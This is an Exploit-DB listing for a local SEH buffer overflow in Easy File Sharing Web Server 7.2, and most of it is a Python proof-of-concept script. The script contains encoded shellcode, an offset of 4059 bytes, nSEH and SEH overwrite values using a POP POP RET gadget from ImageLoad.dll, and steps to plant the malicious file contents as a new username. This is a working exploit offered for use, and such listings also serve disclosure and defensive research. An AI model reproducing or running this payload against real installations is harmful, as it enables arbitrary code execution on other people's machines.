Easy File Sharing Web Server 7.2 - 'New User' Local Overflow (SEH)

EDB-ID:
47411

CVE:
N/A

EDB Verified: ×

Author:
X00PWN

Type:
LOCAL

Exploit: / {}

Platform:
WINDOWS

Date:
2019-09-24

Vulnerable App:

```
#!/usr/bin/python

# Exploit Title: Easy File Sharing Web Server 7.2 local SEH overflow
# Date: 9/23/2019
# Exploit Author: x00pwn
# Vendor Homepage: http://www.sharing-file.com/
# Software Link: http://www.sharing-file.com/efssetup.exe
# Version: 7.2
# Tested on: Windows 7

# Exploit summary: When adding a new user to the application, you can
exploit a local SEH buffer overflow
#                  by creating a malicious username, this exploit POC will
create a malicious text file
#                  with the contents to execute arbitrary code.
# Author : Nu11pwn

badchars =
("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x1
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2

# found bad chars - "\x00\x0a\x0d"

shellcode =  ""
shellcode += "\xbb\xc4\x1c\xb2\xd3\xdd\xc2\xd9\x74\x24\xf4\x5e"
shellcode += "\x2b\xc9\xb1\x31\x31\x5e\x13\x83\xc6\x04\x03\x5e"
shellcode += "\xcb\xfe\x47\x2f\x3b\x7c\xa7\xd0\xbb\xe1\x21\x35"
shellcode += "\x8a\x21\x55\x3d\xbc\x91\x1d\x13\x30\x59\x73\x80"
shellcode += "\xc3\x2f\x5c\xa7\x64\x85\xba\x86\x75\xb6\xff\x89"
shellcode += "\xf5\xc5\xd3\x69\xc4\x05\x26\x6b\x01\x7b\xcb\x39"
shellcode += "\xda\xf7\x7e\xae\x6f\x4d\x43\x45\x23\x43\xc3\xba"
shellcode += "\xf3\x62\xe2\x6c\x88\x3c\x24\x8e\x5d\x35\x6d\x88"
shellcode += "\x82\x70\x27\x23\x70\x0e\xb6\xe5\x49\xef\x15\xc8"
shellcode += "\x66\x02\x67\x0c\x40\xfd\x12\x64\xb3\x80\x24\xb3"
shellcode += "\xce\x5e\xa0\x20\x68\x14\x12\x8d\x89\xf9\xc5\x46"
shellcode += "\x85\xb6\x82\x01\x89\x49\x46\x3a\xb5\xc2\x69\xed"
shellcode += "\x3c\x90\x4d\x29\x65\x42\xef\x68\xc3\x25\x10\x6a"
shellcode += "\xac\x9a\xb4\xe0\x40\xce\xc4\xaa\x0e\x11\x5a\xd1"
shellcode += "\x7c\x11\x64\xda\xd0\x7a\x55\x51\xbf\xfd\x6a\xb0"
shellcode += "\x84\xfc\x9b\x09\x10\x68\x02\xf8\x59\xf4\xb5\xd6"
shellcode += "\x9d\x01\x36\xd3\x5d\xf6\x26\x96\x58\xb2\xe0\x4a"
shellcode += "\x10\xab\x84\x6c\x87\xcc\x8c\x0e\x46\x5f\x4c\xff"
shellcode += "\xed\xe7\xf7\xff"

# Log data, item 69
# Address=0BADF00D
# Message= 0x10000000 | 0x10050000 | 0x00050000 | False  | False   | False
|  False   | False  | -1.0- [ImageLoad.dll] (C:\EFS Software\Easy File
Sharing Web Server\ImageLoad.dll)

# Log data, item 24
# Address=100195F2
# Message=  0x100195f2 : pop esi # pop ecx # ret  |  {PAGE_EXECUTE_READ}
[ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-
1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)

nseh = "\xEB\x06\x90\x90"
seh = "\xF2\x95\x01\x10"

payload  = "A" * 4059
payload += nseh
```

```
payload += seh
payload += "\x90" * 16
payload += shellcode
payload += "D" *4000

# SEH chain of main thread, item 1
# Address=46336646
# SE handler=*** CORRUPT ENTRY ***

# Log data, item 34
# Address=0BADF00D
# Message=    SEH record (nseh field) at 0x0018a938 overwritten with normal
pattern : 0x46336646 (offset 4059), followed by 933 bytes of cyclic data
after the handler
# [*] Exact match at offset 4059

try:
    evilCreate =open("exploit.txt","w")
    print("""
    Easy File Sharing web server SEH overflow
    """)
    print("[x] Creating malicious file")
    evilCreate.write(payload)
    evilCreate.close()
    print("[x] Malicious file create")
    print("[x] Go to user accounts and add a new user with malicious name")
    print("[x] Watch the program crash")
except:
    print("[!] File failed to be created")
```

Tags: Buffer Overflow

Advisory/Source: Link

Databases

Links

Sites

Solutions